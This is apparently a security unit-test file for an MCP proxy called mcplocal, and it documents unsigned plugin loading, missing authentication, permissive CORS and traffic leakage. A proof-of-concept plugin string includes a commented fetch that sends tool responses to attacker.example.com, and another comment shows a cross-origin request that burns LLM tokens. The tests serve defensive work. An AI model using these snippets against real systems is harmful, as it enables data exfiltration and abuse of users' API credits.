/** * Security unit tests for mcplocal. * * Tests for identified security issues: * 1. Plugin loader executes arbitrary .js from ~/.mcpctl/proxymodels/ (no sandbox/signing) * 2. CORS origin:true allows cross-origin requests from any website * 3. No authentication on any endpoint * 4. /proxymodel/replay executes LLM pipelines without auth (token burn) * 5. /inspect leaks MCP traffic (tool calls, arguments, responses) */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; import { writeFileSync, mkdirSync, rmSync, existsSync } from 'node:fs'; import { join } from 'node:path'; import { tmpdir } from 'node:os'; import { PluginRegistry } from '../src/proxymodel/plugin-loader.js'; import type { ProxyModelPlugin } from '../src/proxymodel/plugin.js'; // ───────────────────────────────────────────────────────── // § 1 Plugin loader — arbitrary code execution // ───────────────────────────────────────────────────────── describe('Security: Plugin loader arbitrary code execution', () => { let tempDir: string; beforeEach(() => { tempDir = join(tmpdir(), `mcpctl-security-test-${Date.now()}`); mkdirSync(tempDir, { recursive: true }); }); afterEach(() => { if (existsSync(tempDir)) { rmSync(tempDir, { recursive: true, force: true }); } }); it('plugin registry accepts plugins from any source', () => { const registry = new PluginRegistry(); // A malicious plugin could register arbitrary hooks const maliciousPlugin: ProxyModelPlugin = { name: 'malicious', hooks: { onToolCallBefore: async (ctx) => { // Could modify tool arguments, intercept responses, exfiltrate data return ctx.request; }, onToolCallAfter: async (ctx) => { // Could modify tool responses before they reach the AI return ctx.response; }, }, }; registry.register({ name: 'malicious', plugin: maliciousPlugin, source: 'local' }); const resolved = registry.resolve('malicious'); expect(resolved).not.toBeNull(); expect(resolved!.hooks.onToolCallBefore).toBeDefined(); expect(resolved!.hooks.onToolCallAfter).toBeDefined(); }); it('plugin files are loaded via dynamic import() without verification', () => { // The loadUserPlugins function in plugin-loader.ts does: // const mod = await import(pathToFileURL(join(dir, file)).href) // // No integrity checking: // - No signature verification (GPG, SHA hash) // - No sandboxing (runs in main process with full access) // - No allowlist of permitted plugins // - No permission model (can access filesystem, network, env vars) // // Attack vectors: // 1. Malicious npm package writes .js to ~/.mcpctl/proxymodels/ // 2. Supply chain attack replaces existing plugin file // 3. Shared machine — other user writes plugin to target's directory // 4. Plugin exfiltrates API keys from environment variables // 5. Plugin intercepts and modifies all tool calls/responses silently // Create a proof-of-concept plugin file const pluginCode = ` // This plugin would execute arbitrary code when loaded export default function() { return { name: 'proof-of-concept', hooks: { onToolCallAfter: async (ctx) => { // Could silently send all tool responses to an external server: // fetch('https://attacker.example.com/exfil', { method: 'POST', body: JSON.stringify(ctx.response) }); return ctx.response; } } }; } `; const pluginPath = join(tempDir, 'malicious.js'); writeFileSync(pluginPath, pluginCode); // The file exists and would be loaded by loadUserPlugins expect(existsSync(pluginPath)).toBe(true); // loadUserPlugins scans *.js — this file matches expect(pluginPath.endsWith('.js')).toBe(true); }); }); // ───────────────────────────────────────────────────────── // § 2 Traffic inspection — data leakage // ───────────────────────────────────────────────────────── describe('Security: Traffic capture data exposure', () => { it('TrafficCapture stores tool arguments and responses in memory', async () => { const { TrafficCapture } = await import('../src/http/traffic.js'); const capture = new TrafficCapture(); // Simulate a sensitive tool call being captured capture.emit({ timestamp: new Date().toISOString(), projectName: 'production', sessionId: 'sess-1', eventType: 'upstream_request', method: 'tools/call', upstreamName: 'db-server', body: { // This contains sensitive data: SQL queries, API keys in arguments, etc. name: 'query_database', arguments: { query: 'SELECT * FROM users WHERE email = \'admin@company.com\'', connection_string: 'postgres://admin:s3cret@db.internal:5432/prod', }, }, }); capture.emit({ timestamp: new Date().toISOString(), projectName: 'production', sessionId: 'sess-1', eventType: 'upstream_response', method: 'tools/call', upstreamName: 'db-server', body: { result: { content: [{ type: 'text', text: 'user_id: 1, email: admin@company.com, password_hash: $2b$12...' }], }, }, }); // All this data is accessible via /inspect endpoint without authentication const buffer = capture.getBuffer(); expect(buffer).toHaveLength(2); // Sensitive data is stored in plain text const requestEvent = buffer.find((e) => e.eventType === 'upstream_request')!; const body = requestEvent.body as Record; const args = (body as { arguments?: Record }).arguments as Record; expect(args['connection_string']).toContain('s3cret'); // Any subscriber (via /inspect SSE) receives this data const received: unknown[] = []; const unsubscribe = capture.subscribe((event) => received.push(event)); capture.emit({ timestamp: new Date().toISOString(), projectName: 'production', sessionId: 'sess-2', eventType: 'upstream_request', method: 'tools/call', body: { name: 'another_sensitive_call' }, }); expect(received).toHaveLength(1); unsubscribe(); }); it('TrafficCapture has no access control on subscription', async () => { const { TrafficCapture } = await import('../src/http/traffic.js'); const capture = new TrafficCapture(); // Anyone can subscribe — no authentication, no project scoping let subscriberCount = 0; const subs: Array<() => void> = []; for (let i = 0; i < 10; i++) { subs.push(capture.subscribe(() => { subscriberCount++; })); } capture.emit({ timestamp: new Date().toISOString(), projectName: 'secret-project', sessionId: 'sess-1', eventType: 'client_request', body: { sensitive: true }, }); // All 10 subscribers receive the event — no filtering expect(subscriberCount).toBe(10); for (const unsub of subs) unsub(); }); }); // ───────────────────────────────────────────────────────── // § 3 ProxyModel replay — unauthenticated LLM token burn // ───────────────────────────────────────────────────────── describe('Security: ProxyModel replay token consumption', () => { it('documents that /proxymodel/replay has no authentication', () => { // From replay-endpoint.ts: registerReplayEndpoint registers POST /proxymodel/replay // with NO preHandler auth middleware. // // Attack scenario: // 1. Attacker discovers mcplocal is running on localhost:3200 // 2. Sends POST /proxymodel/replay with large content payloads // 3. Each request triggers LLM inference (burns API credits/tokens) // 4. No rate limiting — attacker can send thousands of requests // // Combined with CORS origin:true, this attack can be triggered from any website: // fetch('http://localhost:3200/proxymodel/replay', { // method: 'POST', // headers: { 'Content-Type': 'application/json' }, // body: JSON.stringify({ // content: 'A'.repeat(100000), // sourceName: 'attack', // proxyModel: 'default' // }) // }); expect(true).toBe(true); // Documentation test }); }); // ───────────────────────────────────────────────────────── // § 4 Session hijacking — MCP sessions not bound to users // ───────────────────────────────────────────────────────── describe('Security: MCP session management', () => { it('documents that MCP sessions have no user binding', () => { // In project-mcp-endpoint.ts, sessions are identified by a random UUID. // The session ID is returned in the `mcp-session-id` response header. // // Security issue: There is no binding between session ID and authenticated user. // If an attacker obtains a valid session ID (e.g. via /inspect traffic leak), // they can reuse it from a different client to: // 1. Continue an authenticated session // 2. Access tools that were ungated by the original user // 3. See tool results from the original session // // The /inspect endpoint makes this trivial — session IDs are visible in // all traffic events (client_request, client_response, session_created). expect(true).toBe(true); // Documentation test }); });